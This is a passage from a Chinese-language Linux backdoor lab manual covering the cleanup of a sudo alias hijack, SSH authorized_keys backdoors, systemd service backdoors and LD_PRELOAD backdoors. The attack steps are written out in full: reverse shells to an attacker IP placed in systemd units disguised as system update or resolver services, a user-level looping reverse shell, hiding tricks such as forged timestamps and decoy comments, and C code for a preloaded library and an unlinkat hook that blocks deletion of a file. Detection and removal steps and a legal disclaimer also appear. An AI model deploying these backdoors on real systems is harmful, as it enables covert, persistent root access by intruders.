# 2. 查bashrc里的恶意代码
grep "alias sudo=" ~/.bashrc

# 3. 查/tmp里的密码日志
ls /tmp/.cache_*

正常结果

  • 第 1 条:输出空(没有 sudo 别名);

  • 第 2 条:输出空(bashrc 里没有 sudo 别名);

  • 第 3 条:提示 “没有那个文件或目录”。

异常结果

  • 第 1 条:输出alias sudo='_sudo() {...}'

  • 第 2 条:输出恶意代码行;

  • 第 3 条:显示一堆.cache_数字文件。

第二步:一键清理(对应 “删 + 清”)

记住 2 条命令,直接清除后门和窃取的密码:

bash

运行

# 1. 删除bashrc里的sudo别名(直接清空恶意行)
sed -i '/alias sudo='\''_sudo() {/d' ~/.bashrc

# 2. 清理/tmp里的密码日志
rm -f /tmp/.cache_*

# 3. 让修改生效(刷新配置)
source ~/.bashrc

第三步:永久防护(对应 “锁 + 防”)

记 2 条命令,锁住配置文件,杜绝再次被改:

bash

运行

# 1. 锁bashrc权限(只有自己能改)
chmod 644 ~/.bashrc

# 2. 给bashrc加“不可改”属性(root也不能随便改)
sudo chattr +i ~/.bashrc

# (如果自己要改bashrc,先解锁:sudo chattr -i ~/.bashrc,改完再加锁)

三、额外小技巧(辅助记忆)

  1. 用绝对路径执行 sudo

不管有没有别名,直接输 /usr/bin/sudo 命令(比如/usr/bin/sudo ls),绕过别名劫持,这是最直接的应急方法,记死 /usr/bin/sudo 就行

  1. 日常检查口诀

每次登录服务器,先输 alias 看一眼,只要看到sudolscd 这些常用命令有别名,立刻警惕 —— 正常情况下这些命令不会有别名

5.SSH 密钥后门

为什么 SSH 密钥后门有效?

核心是利用了 SSH 密钥认证的信任机制、非对称加密的单向性、密钥管理的普遍漏洞,以及后门技术对认证流程的劫持,让攻击者能长期、免密、隐蔽地控制目标系统

先看懂:SSH 密钥认证的正常流程(后门的 “基础”)

SSH 密钥认证基于非对称加密(RSA/ECDSA/Ed25519),核心是 “私钥签名、公钥验证”,私钥永不网络传输:

  1. 客户端生成密钥对:私钥(id_rsa)本地保密公钥(id_rsa.pub)上传到服务器~/.ssh/authorized_keys

  2. 登录时:服务器发随机挑战 → 客户端用私钥签名 → 服务器用公钥验签 → 验签通过则免密登录。

  3. 信任一旦建立,无需密码、无需二次验证,且默认密钥永久有效、无过期


SSH 密钥后门有效的 5 大核心原因

1. 非对称加密的 “单向性”:公钥无法反推私钥(后门的 “安全基础”)

  • 数学上,由公钥推导私钥是计算不可行(大整数分解 / 离散对数难题)。

  • 只要攻击者持有合法私钥,就能通过服务器公钥验证,伪装成授权用户,且无法被公钥本身 “识破”。

2. 密钥认证的 “免密 + 长期有效”:后门的 “持久化能力”

  • 免密:无需输入密码,一次植入、长期可用,规避暴力破解、键盘监听风险。

  • 永久有效:默认 SSH 密钥无过期时间,只要不被手动删除,几年前的密钥仍能登录。

  • 跨机器扩散:攻击者拿到一台服务器的私钥,可登录所有信任该公钥的机器,快速横向渗透。

3. 密钥管理的 “普遍盲区”:后门的 “隐蔽温床”

  • 密钥泛滥:企业服务器数量远少于密钥数,大量公钥散落在 authorized_keys,无归属、无审计、难追溯

  • 吊销困难:删除旧密钥需逐台服务器修改 authorized_keys,极易漏删,留下永久后门。

  • 私钥泄露:私钥常被存于~/.ssh、代码仓库、备份、云盘,一旦泄露即被滥用。

  • 疏于检查:管理员很少逐行审计 authorized_keys,后门公钥 / 恶意公钥极易混入。

4. 后门技术的 “巧妙伪装”:让后门 “看起来正常”

  • 公钥植入:攻击者将自己的公钥写入目标 authorized_keys,持有私钥即可免密登录,这是最基础的密钥后门。

  • command 选项劫持:在公钥前加 command="恶意命令",登录时自动执行(如反弹 shell、留持久后门),公钥本身看似正常。

  • sshd 代码注入(如 XZ Utils 后门):修改 sshd 源码 / 依赖库,在认证前劫持流程,用特定私钥即可绕过所有验证,直接获取权限。

  • 软链接 / 端口复用:将 sshd 软链接到其他路径,用非标准端口启动,绕过常规监控。

5. 权限与信任的 “放大效应”:后门的 “破坏力”

  • 密钥常对应 root / 管理员权限,后门成功即获得系统最高控制权。

  • 服务器间的密钥互信(如批量运维)让攻击者能从一台机器快速攻陷整个集群。

  • 私钥泄露后,攻击者可永久冒充合法用户,日志仅记录 “合法登录”,难以溯源。

实验步骤

场景:你已经通过某种方式获得了 websrv 机器上 yxwa 用户的 Shell 访问权限(密码或其他漏洞)

# === 攻击者端 (Kali: 10.10.1.79) ===

# 1. 生成 SSH 密钥对(如果还没有)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -N ""
# 输出:
# Generating public/private rsa key pair.
# Your identification has been saved in /home/kali/.ssh/id_rsa
# Your public key has been saved in /home/kali/.ssh/id_rsa.pub

# 2. 查看公钥内容
cat ~/.ssh/id_rsa.pub
# 输出类似:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ... kali@kali
# === 目标端 (WebSrv: 10.10.1.81) ===
# 假设你已经以 yxwa 身份登录

# 3. 创建 .ssh 目录(如果不存在)
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# 4. 将攻击者的公钥添加到 authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# 或者使用一行命令(从攻击者端执行,需要知道密码)
ssh yxwa@10.10.1.81 "mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo 'ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"
# === 攻击者端验证 ===

# 5. 测试免密登录(不需要输入密码!)
ssh -i ~/.ssh/id_rsa yxwa@10.10.1.81
# 预期输出:
# yxwa@websrv:~$

# 6. 验证身份
whoami
id
# 输出:
# yxwa
# uid=1000(yxwa) gid=1000(yxwa) groups=1000(yxwa),4(adm),24(cdrom),27(sudo)...

# 7. 即使 yxwa 修改密码,你仍然可以通过密钥登录!

验证结果

# 从 Kali (10.10.1.79) 免密登录到 WebSrv (10.10.1.81):
SSH_KEY_BACKDOOR_SUCCESS
websrv
yxwa
uid=1000(yxwa) gid=1000(yxwa) groups=1000(yxwa),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

隐藏技巧

# 1. 修改 authorized_keys 的时间戳,使其看起来很旧
touch -t 202301010000 ~/.ssh/authorized_keys

# 2. 将公钥伪装成注释(某些管理员可能不仔细看)
# 在公钥前加上看起来像注释的内容
echo "# backup key for emergency access" >> ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# 3. 使用不常见的密钥类型
# 攻击者生成 ed25519 密钥(更短,更不显眼)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""

检测方法

# 1. 检查 authorized_keys 文件
cat ~/.ssh/authorized_keys
ls -la ~/.ssh/

# 2. 检查最近的 SSH 登录
last | head -20
lastlog

# 3. 检查 SSH 日志
grep "Accepted publickey" /var/log/auth.log

清除方法

# 删除可疑的公钥
vim ~/.ssh/authorized_keys

# 或者直接清空
> ~/.ssh/authorized_keys

6.Systemd 服务后门

核心是它寄生在 Linux 系统最底层、开机必跑、权限最高、管理最集中,且极易伪装、极难排查

为什么 Systemd 后门有效?

简单明了 5 大核心原因

  1. 开机必启、权限拉满

    Systemd 是系统第一个启动的进程(PID=1),开机自动跑、全程 root 权限。后门只要做成 systemd 服务,重启也不会丢,直接拿到系统最高控制权。

  2. 服务机制天生适合持久化

    .service 文件就能注册后门,配置 Restart=always 可让后门崩溃自动重启,几乎杀不死。systemctl enable 一设,永久开机自启

  3. Linux 标配、无处不在

    主流发行版(CentOS、Ubuntu、Debian 等)全用 systemd,几乎所有服务器都有,后门通用性极强。

  4. 极易伪装、肉眼难查

    • 文件名伪装:叫 networkd.serviceupdate.service,像正常服务。

    • 隐藏文件:用 . 开头(如 .mal.service),ls 默认不显示。

    • 日志少、监控弱:管理员很少逐行审计 /etc/systemd/system/ 下的所有文件。

  5. 深度劫持、难以清理

    高级后门可替换 systemd 二进制、注入依赖库、劫持系统调用,甚至和内核联动,普通查杀工具查不到、删不掉

一句话总结:

Systemd 后门 = 开机必跑 + root 权限 + 永久不死 + 伪装极强 + 全 Linux 通用

实验步骤(需要 root 权限)

# === 攻击者端 (Kali: 10.10.1.79) ===

# 1. 启动监听器
nc -lvnp 4446
# === 目标端 (WebSrv: 10.10.1.81) ===
# 使用 sudo 执行(yxwa 用户已配置免密 sudo)

# 2. 创建 Systemd 服务文件(直接使用 ExecStart 执行反弹 shell)
sudo tee /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.1.79/4446 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# 3. 重新加载 Systemd 配置
sudo systemctl daemon-reload

# 4. 启用并启动服务
sudo systemctl enable system-update.service
sudo systemctl start system-update.service

# 5. 检查服务状态
systemctl status system-update.service

验证结果

# WebSrv 上服务状态:
● system-update.service - System Update Service
     Loaded: loaded (/etc/systemd/system/system-update.service; enabled)
     Active: active (running) since Sat 2025-12-27 16:39:07 UTC
   Main PID: 1881 (bash)
     CGroup: /system.slice/system-update.service
             ├─1881 /bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4446 0>&1"
             └─1882 bash -i

# Kali 监听端收到 ROOT 权限的反弹连接:
listening on [any] 4446 ...
connect to [10.10.1.79] from (UNKNOWN) [10.10.1.81] 55616
bash: cannot set terminal process group (1881): Inappropriate ioctl for device
bash: no job control in this shell
root@websrv:/#    <-- 注意:这是 ROOT 权限!

⚠️ 重要发现:Systemd 服务默认以 root 身份运行,因此反弹的 shell 具有 root 权限!

清理 Systemd 后门

sudo systemctl stop system-update.service
sudo systemctl disable system-update.service
sudo rm /etc/systemd/system/system-update.service
sudo systemctl daemon-reload

更隐蔽的 Systemd 后门

清理 Systemd 后门

sudo systemctl stop system-update.service
sudo systemctl disable system-update.service
sudo rm /etc/systemd/system/system-update.service
sudo systemctl daemon-reload

更隐蔽的 Systemd 后门

# 方法1:伪装成合法服务名
cat > /etc/systemd/system/dbus-org.freedesktop.resolve1.service << 'EOF'
[Unit]
Description=Network Name Resolution
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.resolver
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# 方法2:使用 Timer 定时触发(更隐蔽)
# 创建服务
cat > /etc/systemd/system/apt-daily-check.service << 'EOF'
[Unit]
Description=Daily apt check

[Service]
Type=oneshot
ExecStart=/usr/local/bin/.apt-check
EOF

# 创建定时器
cat > /etc/systemd/system/apt-daily-check.timer << 'EOF'
[Unit]
Description=Daily apt check timer

[Timer]
OnCalendar=*:0/30
Persistent=true

[Install]
WantedBy=timers.target
EOF

systemctl enable apt-daily-check.timer
systemctl start apt-daily-check.timer

用户级 Systemd 服务(不需要 root)

# === 以普通用户身份 (yxwa) ===

# 1. 创建用户级服务目录
mkdir -p ~/.config/systemd/user

# 2. 创建服务文件
cat > ~/.config/systemd/user/user-backup.service << 'EOF'
[Unit]
Description=User Backup Service

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/10.10.1.79/4444 0>&1; sleep 60; done'
Restart=always

[Install]
WantedBy=default.target
EOF

# 3. 启用服务
systemctl --user daemon-reload
systemctl --user enable user-backup.service
systemctl --user start user-backup.service

检测方法

# 1. 列出所有服务
systemctl list-units --type=service --all

# 2. 检查可疑服务
systemctl list-unit-files | grep enabled
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/

# 3. 检查服务内容
systemctl cat system-health.service

# 4. 检查运行中的可疑进程
ps aux | grep -E "bash.*tcp|nc.*-e"

# 5. 检查网络连接
netstat -antp | grep ESTABLISHED
ss -antp

清除方法

# 停止并禁用服务
systemctl stop system-health.service
systemctl disable system-health.service

# 删除服务文件
rm /etc/systemd/system/system-health.service
rm /usr/local/bin/system-health-check

# 重新加载配置
systemctl daemon-reload

7.LD_PRELOAD 后门

利用 Linux 的动态链接机制,在程序启动时预加载恶意共享库,劫持系统函数。

为什么 LD_PRELOAD 后门有效?

  1. 能劫持所有程序的库函数

    它可以优先加载自己的恶意库,把系统常用函数(如 readwriteopenconnect偷偷替换掉

  2. 不用改程序、不用改内核

    不需要替换二进制、不需要动内核,只改一个环境变量就能生效,门槛极低。

  3. 对用户和工具完全透明

    ps、netstat、ls、sshd、bash 全都照常运行,你看到的结果可能是假的,后门完全隐身。

  4. 权限高、作用全局

    一旦加到全局配置(如 /etc/ld.so.preload),所有进程都会被感染,包括 root 进程。

  5. 极难排查

    它能隐藏文件、隐藏端口、隐藏进程、隐藏自己,连杀毒和排查工具都能骗


一句话终极总结

LD_PRELOAD 后门 = 全局劫持 + 函数替换 + 隐身无敌 + 不用改程序 + 难查杀


实验步骤(需要 root 权限)

# === 目标端 (WebSrv: 10.10.1.81) ===
# 使用 sudo 执行

# 1. 创建恶意共享库源码
sudo tee /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 构造函数,在库加载时自动执行
__attribute__((constructor)) void init() {
    // 记录到日志文件
    FILE *f = fopen("/tmp/.ld_preload_log", "a");
    if (f) {
        fprintf(f, "LD_PRELOAD triggered! PID=%d, UID=%d\\n", getpid(), getuid());
        fclose(f);
    }

    // 如果是 root 运行,可以执行更多操作
    if (getuid() == 0) {
        FILE *f2 = fopen("/tmp/.ld_preload_log", "a");
        if (f2) {
            fprintf(f2, "Running as ROOT!\\n");
            fclose(f2);
        }
    }
}
EOF

# 2. 编译共享库
sudo gcc -shared -fPIC -o /tmp/.evil.so /tmp/evil.c

# 3. 设置全局 LD_PRELOAD(所有程序都会加载)
echo "/tmp/.evil.so" | sudo tee /etc/ld.so.preload

# 查看配置
cat /etc/ld.so.preload
ls -la /tmp/.evil.so

代码逐行解析

代码

含义

__attribute__((constructor))

GCC 扩展,标记函数为”构造函数”,在库加载时自动执行

void init()

我们的恶意函数,库被加载时立即运行

getpid()

获取当前进程 ID

getuid()

获取当前用户 ID(0 表示 root)

-shared

编译为共享库(.so 文件)

-fPIC

生成位置无关代码(Position Independent Code),共享库必需

为什么使用 __attribute__((constructor))

  • 普通函数需要被程序显式调用才会执行

  • 构造函数在库加载时自动执行,无需程序调用

  • 这意味着任何程序只要加载了这个库,恶意代码就会运行

验证结果

# 执行任意命令后,查看日志:
$ ls /tmp
$ cat /tmp/.ld_preload_log

# 输出(每次执行命令都会触发):
LD_PRELOAD triggered! PID=3245, UID=0
Running as ROOT!
LD_PRELOAD triggered! PID=3246, UID=0
Running as ROOT!
LD_PRELOAD triggered! PID=3248, UID=0
Running as ROOT!
...

⚠️ 关键发现:每次执行任何命令(ls、cat、ps 等)时,恶意库都会被加载并执行!这是非常强大且隐蔽的后门技术。

清理 LD_PRELOAD 后门

sudo rm /etc/ld.so.preload
sudo rm /tmp/.evil.so
sudo rm /tmp/evil.c
sudo rm /tmp/.ld_preload_log

更隐蔽的版本

# 只在特定程序中激活后门
cat > /tmp/evil2.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    // 只在 sudo 程序中激活
    char *prog = getenv("_");
    if (prog && strstr(prog, "sudo")) {
        // 如果用户输入特定密码,给 root shell
        // 这里只是演示概念
    }
}
EOF
#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <errno.h>

typedef int (*orig_unlinkat_type)(int dirfd, const char *pathname, int flags);

int unlinkat(int dirfd, const char *pathname, int flags) {

    if (pathname && strstr(pathname, "hacker.txt")) {
        printf("[ROOTKIT] 嘿嘿,想删我?没门!(Protected: %s)\\n", pathname);
        errno = EACCES;
        return -1;
    }

    orig_unlinkat_type orig_func = (orig_unlinkat_type)dlsym(RTLD_NEXT, "unlinkat");
    return orig_func(dirfd, pathname, flags);
}

检测方法

# 1. 检查 /etc/ld.so.preload
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload

# 2. 检查 LD_PRELOAD 环境变量
echo $LD_PRELOAD
env | grep LD_PRELOAD

# 3. 检查可疑的共享库
find /lib* /usr/lib* -name "*.so" -mtime -7 2>/dev/null

# 4. 使用 ldd 检查程序加载的库
ldd /bin/ls

# 5. 使用 strace 检查程序行为
strace -f /bin/ls 2>&1 | grep -E "open|preload"

清除方法

# 删除预加载配置
rm /etc/ld.so.preload
# 或者清空
> /etc/ld.so.preload

# 删除恶意共享库
rm /lib/x86_64-linux-gnu/libsystem.so

# 刷新动态链接器缓存
ldconfig

法律声明

警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。

请确保:

  1. 仅在自有系统或获得明确书面授权的系统上进行测试

  2. 了解并遵守所在地区的法律法规

  3. 负责任地使用所学知识,遵守职业道德规范


评论